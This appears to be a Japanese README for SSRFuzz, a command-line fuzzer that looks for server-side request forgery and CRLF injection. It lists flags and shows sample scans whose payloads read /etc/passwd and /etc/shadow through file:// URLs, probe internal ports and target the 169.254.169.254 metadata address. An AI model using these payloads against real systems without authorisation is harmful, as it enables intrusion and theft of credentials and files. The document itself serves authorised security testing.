
SSRFuzzは、CRLFチェイン機能を備えた、Server Side Request Forgery脆弱性を発見するためのツールです。
SSRFuzzは、CRLFチェイン機能を備えたServer Side Request Forgeryの脆弱性を発見するツールです。
以下のコマンドを実行してインストールします。
go get -u github.com/ryandamour/ssrfuzz
██████ ██████ ██▀███ █████▒█ ██ ▒███████▒▒███████▒
▒██ ▒ ▒██ ▒ ▓██ ▒ ██▒▓██ ▒ ██ ▓██▒▒ ▒ ▒ ▄▀░▒ ▒ ▒ ▄▀░
░ ▓██▄ ░ ▓██▄ ▓██ ░▄█ ▒▒████ ░▓██ ▒██░░ ▒ ▄▀▒░ ░ ▒ ▄▀▒░
▒ ██▒ ▒ ██▒▒██▀▀█▄ ░▓█▒ ░▓▓█ ░██░ ▄▀▒ ░ ▄▀▒ ░
▒██████▒▒▒██████▒▒░██▓ ▒██▒░▒█░ ▒▒█████▓ ▒███████▒▒███████▒
▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░ ▒▓ ░▒▓░ ▒ ░ ░▒▓▒ ▒ ▒ ░▒▒ ▓░▒░▒░▒▒ ▓░▒░▒
░ ░▒ ░ ░░ ░▒ ░ ░ ░▒ ░ ▒░ ░ ░░▒░ ░ ░ ░░▒ ▒ ░ ▒░░▒ ▒ ░ ▒
░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
░ ░
===============================================================
SSRFUZZ 1.2
by Ryan D'Amour @ryandamour
===============================================================SSRFファジングのあらゆるニーズに対応するスキャナー
使い方:
ssrfuzz scan [flags]
フラグ:
-b, --call-back string SSRFファジング用のコールバックを追加(例:https://github.com/ropnop/serverless_toolkit/tree/master/ssrf_slack)
-c, --cookie string リクエストに使用するCookie
--crlf-path 利用可能なすべてのパスにCRLFペイロードを追加(例:site.com/%0Atest.php)
--delay int 各スレッドがリクエスト間で待機する時間(ミリ秒)(デフォルト:100)
-d, --domains string スキャンするパラメータ付きドメインのファイルパス
-h, --help scanのヘルプ
-x, --http-method string HTTPメソッド - GETまたはPOST(デフォルト:"GET")
-o, --output string 結果を保存する場所
--skip-crlf CRLFファジングをスキップ
--skip-network ネットワークファジングをスキップ
--skip-scheme スキームファジングをスキップ
-s, --slack-webhook string 発見結果をチャンネルに送信するSlack Webhook
-t, --threads int ssrfuzzを実行するスレッド数(デフォルト:50)
--timeout int ハングする可能性のある接続を閉じるまでの時間(秒)(デフォルト:10)
-u, --user-agent string リクエストのUser-Agent(デフォルト:"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36")
-v, --verbose 詳細な出力
使い方:
echo "http://ファジング対象のURL" | ssrfuzz scan
cat ドメイン一覧.txt | ssrfuzz scan
ssrfuzz scan -d ドメイン一覧.txt
* httpペイロードとスキームペイロードをCRLFありでスキャン:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan
[!] スキームペイロード一致:
* http://192.168.1.10/test.php?u=file://etc/passwd 200
[!] 興味深いペイロードを発見
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.ph?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500
[!] 興味深いペイロードを発見
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* httpペイロードのみをCRLFありでスキャン:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme
[!] 興味深いペイロードを発見
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* httpペイロードのみをCRLFなしでスキャン:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme --skip-crlf
[!] 興味深いペイロードを発見
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500
* スキームペイロードのみをCRLFなしでスキャン:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-network --skip-crlf
[!] 興味深いペイロードを発見
* http://192.168.1.10/test.php?u=file:///etc/passwd 200
* http://192.168.1.10/test.php?u=file:///etc/shadow 500
* http://192.168.1.10/test.php?u=file://169.254.169.254/ 500
プルリクエストは歓迎します。大きな変更を加える場合は、まずIssueを開いて変更内容について話し合ってください。
テストは適宜更新してください。